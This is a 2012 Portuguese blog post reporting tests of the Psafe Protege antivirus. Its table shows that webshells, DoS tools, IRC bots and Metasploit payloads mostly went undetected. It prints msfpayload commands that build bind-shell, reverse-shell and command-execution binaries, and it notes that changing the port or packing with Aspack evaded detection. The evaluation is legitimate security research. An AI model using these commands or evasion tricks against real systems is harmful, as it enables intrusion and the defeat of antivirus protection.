Resultado dos testes com Psafe Protege AntiVirus
Autor: Crash | Publicado: 2012-08-07T07:38:00-07:00




O Psafe Protege mesmo?

Bem, inicialmente gostaria de dizer que esta pesquisa em momento algum quis comparar o Psafe com qualquer outro AV. do mercado.

Detalhe da pesquisa:

Sistema Operacional utilizado: Windows 2003 Server R2
AV: Psafe Protege
Software Adicional: IIS6 (Apenas para testes com webshells)

Abaixo a tabela &nbsp;com os testes realizados:
html {overflow:visible};.tblGenFixed td {padding:0 3px;overflow:hidden;white-space:normal;letter-spacing:0;word-spacing:0;background-color:#fff;z-index:1;border-top:0px none;border-left:0px none;border-bottom:1px solid #CCC;border-right:1px solid #CCC;} .dn {display:none} .tblGenFixed td.s0 {background-color:#ff0000;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-top:1px solid black;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s2 {background-color:#999999;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-top:1px solid black;border-right:;border-bottom:1px solid black;} .tblGenFixed td.s1 {background-color:#999999;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-top:1px solid black;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s16 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;border-left:1px solid #CCC;} .tblGenFixed td.s17 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s18 {background-color:#ff0000;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid #CCC;} .tblGenFixed td.s19 {background-color:#d9d9d9;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s9 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;} .tblGenFixed td.s12 {background-color:#ff0000;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s13 {background-color:#999999;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s7 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;} .tblGenFixed td.s14 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;} .tblGenFixed td.s8 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:;border-left:1px solid #CCC;} .tblGenFixed td.s15 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:;} .tblGenFixed td.s5 {background-color:#d9d9d9;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;border-left:1px solid black;} .tblGenFixed td.s6 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;color:#000000;text-decoration:none;text-align:left;vertical-align:bottom;direction:auto-ltr;white-space:normal;overflow:hidden;border-right:1px solid black;border-bottom:1px solid black;} .tblGenFixed td.s3 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-top:1px solid #CCC;border-right:;border-bottom:;} .tblGenFixed td.s10 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:1px solid black;border-left:1px solid #CCC;} .tblGenFixed td.s11 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-right:;border-bottom:1px solid black;} .tblGenFixed td.s4 {background-color:white;font-family:arial,sans,sans-serif;font-size:100.0%;font-weight:normal;font-style:normal;text-decoration:none;vertical-align:bottom;direction:Context;white-space:normal;overflow:hidden;border-top:1px solid #CCC;border-right:;border-bottom:;} 




WebshellsEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?


ASPTexto PlanoNãoNãoNãoNão


ASPXTexto PlanoNãoNãoNãoNão


JSPTexto PlanoNãoNãoNãoNão


PerlTexto PlanoNãoNãoNãoNão


PHPTexto PlanoNãoNãoNãoNão


CFMTexto PlanoNãoNãoNãoNão








Executaveis MetaSploitEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?Comando:


Sample1 Bind na porta 6666NãoNãoNãoNãoNãomsfpayload windows/shell_bind_tcp LPORT=6666 X &gt; /tmp/msf_sample1.exe


Sample 2 Reverse Shell porta 6666NãoNãoNãoNãoNãomsfpayload windows/shell_reverse_tcp LHOST=172.16.0.1 LPORT=6666 X &gt; /tmp/msf_sample2.exe


Sample 3 Arbitrary Command ExecNãoNãoNãoNãoNãomsfpayload windows/exec CMD=calc.exe X &gt; /tmp/msf_sample3.exe








Ferramentas para DoSEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?


SlowLorisTexto PlanoNãoNãoNãoNão


LoicTexto PlanoNãoNãoNãoNão








IRC Bots (Perl)EncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?


AlphaNix 2.0Texto PlanoNãoNãoNãoNão


ScaneTexto PlanoNãoNãoNãoNão


SexiTexto PlanoNãoNãoNãoNão


ShellbotTexto PlanoNãoNãoNãoNão








Samples EICAR.orgPackingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?


eicar.comNãoNãoNãoNãoSim


eicar.com.txtNãoSimNãoN \ ASim


eicar_com.zipNãoCompactadoNãoN \ ANão


eicarcom2.zipNãoCompactadoNãoN \ ANão






Os teste foram realizados entre os dias 06 e 07 de agosto, 2012.

No dia 06 o sample1 do MetaSploit não tinha sido encontrado, já no dia, 07 ele foi encontrado(Trojan.Generic) e removido, porém, somente com manual scan. Os&nbsp;binários gerados no Metasploit ao serem executados abriram portas, &nbsp;realizaram conexões com a internet e executaram comandos e mesmo assim não geraram alertar algum do Psafe. Outro problema grande foi que após a detecção do msf_sample1.exe, geramos novamente, porém, alterando a porta para 6667 e não foi detectado.

Testamos vários malwares voltados a roubo de senhas bancárias e afins, o&nbsp;índice&nbsp;de&nbsp;detecção&nbsp;foi baixo. Dos 35 samples analisados, apenas 7 foram detectados.

Dos detectados, utilizamos o que possui assinatura: &nbsp;HEUR/Malware.QVM20.Gen para mais alguns testes:

- Não foi detectado na gravação.
- Foi detectado mesmo trocando a extensão.

Ao utilizarmos um compactador de binários simples (Aspack) o malware parou de ser dectado no Scan manual e foi removido apenas o .bak gerado pelo Aspack.

Outro ponto importante, não há verificação de endereços &nbsp;Web maliciosos, durante a pesquisa visitamos vários sites conhecidos por distribuição de malwares e nenhum alerta foi gerado.Conclusão:
O AV se mostrou ineficaz em seu propósito, apresentando um baixo índice de detecção de malwares, especialmente os mais populares no Brasil que permitem o acesso a contas bancárias e podem gerar prejuízos diversos para a maioria dos usuários da Internet no País.&nbsp;

O fato é agravado pela empresa posicionar o seu produto como “o único antivírus completo e totalmente gratuito que existe, podendo levar o usuário doméstico a entender que existe um nível de perfeição quando comparado aos concorrentes, algo que não corresponde a realidade obtida nos testes realizados.
&nbsp;

---------------------------------------------------------------------------------------------------------

Esta pesquisa foi feita em conjunto com &nbsp;Gabriel Lanzi (Psylon)&nbsp;@gmlnet
Gostaria de agradecer ao Fio (@fiocavallari @BrauvonHacker ) pela ajuda com os Samples e ao amigo &nbsp;
Lincoln Werneck (@lincolnwerneck)&nbsp;&nbsp;do Instituto Coaliza (@Coaliza)&nbsp;na redação deste post.